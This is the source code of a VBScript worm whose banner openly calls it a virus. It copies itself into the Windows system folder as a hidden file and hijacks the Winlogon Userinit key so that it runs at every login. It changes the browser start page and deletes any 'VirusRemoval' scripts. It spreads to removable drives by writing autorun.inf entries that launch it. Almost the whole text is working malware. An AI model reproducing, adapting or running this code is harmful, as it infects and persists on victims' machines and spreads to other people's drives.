'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'*********************!!!!! EVIL VBScript !!!!!********************'************************** Version 2012 **************************'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'****************************************************************' #2 *560* 3#' HACK BY KALANA SUGEESHWARA WICKRAMARATHNA' THIS IS THE FIRST SRI LANKAN VIRUS HACK YOUR PC' I REMOVE YOUR VIRUS BUT I WANT HACK YOU ' 0# *500* #7 '#################################################################'################################################################
Option ExplicitOn Error Resume Next
Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root
Set Fso = CreateObject("Scripting.FileSystemObject")Set Shells = CreateObject("Wscript.Shell")Set WinDir = Fso.GetSpecialFolder(0)Set SystemDir =Fso.GetSpecialFolder(1)Set File = Fso.GetFile(WScript.ScriptFullName)Set Drv = File.DriveSet InDrive = Fso.drivesSet ReadAll = File.OpenAsTextStream(1,-2)do while not ReadAll.atendofstreamAllFile = AllFile & ReadAll.readlineAllFile = AllFile & vbcrlfLoopCount=Drv.DriveTypeDo If Not Fso.FileExists(SystemDir & "kalana1.VBS") thenset WriteAll = Fso.CreateTextFile(SystemDir & "\kalana1.VBS",2,true)WriteAll.Write AllFile WriteAll.closeset WriteAll = Fso.GetFile(SystemDir & "\kalana1.VBS")WriteAll.Attributes = -1End If Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\ShowSuperHidden","1","REG_DWORD"Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Hidden","1","REG_DWORD"Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\SuperHidden","0","REG_DWORD"Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title"," KALANA SUGEESHWARA WICKRAMARATNA ROCKS!!! "Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel","0","REG_DWORD"Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Nofind","0","REG_DWORD"Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Nocmd","0","REG_DWORD"Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Norun","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","0","REG_DWORD"Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","0","REG_DWORD"Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","0","REG_DWORD"Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.kalana.net46.net"Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","explorer.exe"Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _SystemDir & "\wscript.exe " & SystemDir & "\kalana1.VBS"For Each Drives In InDrive root = Drives.Path & "\"If Fso.GetParentFolderName(WScript.ScriptFullName)=root ThenShells.Run "explorer.exe " & rootEnd IfSet folder=Fso.GetFolder(root)Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)For Each files In folder.Filesauto=Left(files.Name,7)If UCase(auto)=UCase("VirusRemoval") ThenSet Delete = Fso.DeleteFile(root & files.Name,true)End If NextIf Drives.DriveType=2 Thendelext "inf",Drives.Path & "C:"delext "INF",Drives.Path & "C:"End if If Drives.DriveType = 1 Or Drives.DriveType = 2 ThenIf Drives.Path<> "A:" Thendelext "vbs",WinDir & "\"delext "vbs",Drives.Path & "\"If Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") ThenFso.DeleteFile(Drives.Path & "\VirusRemoval.vbs") End If If Drives.DriveType = 1 ThenIf Drives.Path<>"A:" ThenIf Not Fso.FileExists(Drives.Path & "\kalana1.VBS") ThenSet WriteAll=Fso.CreateTextFile(Drives.Path & "\kalana1.VBS",2,True)WriteAll.Write AllFileWriteAll.CloseSet WriteAll = Fso.GetFile(Drives.Path & "\kalana1.VBS")WriteAll.Attributes = -1End If If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")Chg.Attributes = -8Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)WriteAll.writeline "[autorun]"WriteAll.WriteLine "open=wscript.exe kalana1.VBS"WriteAll.WriteLine "shell\open=Open"WriteAll.WriteLine "shell\open\Command=wscript.exe kalana1.VBS"WriteAll.CloseSet WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")WriteAll.Attributes = -1elseSet WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)WriteAll.writeline "[autorun]"WriteAll.WriteLine "open=wscript.exe kalana1.VBS"WriteAll.WriteLine "shell\open=Open"WriteAll.WriteLine "shell\open\Command=wscript.exe kalana1.VBS"WriteAll.CloseSet WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")WriteAll.Attributes = -1End ifEnd IfEnd IfEnd if End IfNextif Count <> 1 thenWscript.sleep 10000end ifloop while Count<>1sub delext(File2Find, SrchPath)Dim oFileSys, oFolder, oFile,Cut,DeleteSet oFileSys = CreateObject("Scripting.FileSystemObject")Set oFolder = oFileSys.GetFolder(SrchPath)For Each oFile In oFolder.FilesCut=Right(oFile.Name,3)If UCase(Cut)=UCase(file2find) ThenEND IFNEXTEND SUB